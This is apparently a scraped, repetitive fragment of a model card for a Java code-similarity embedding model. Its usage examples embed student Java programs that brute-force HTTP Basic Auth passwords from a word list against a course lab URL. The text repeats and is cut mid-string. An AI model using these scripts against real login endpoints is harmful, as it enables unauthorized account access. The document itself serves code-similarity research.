conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n    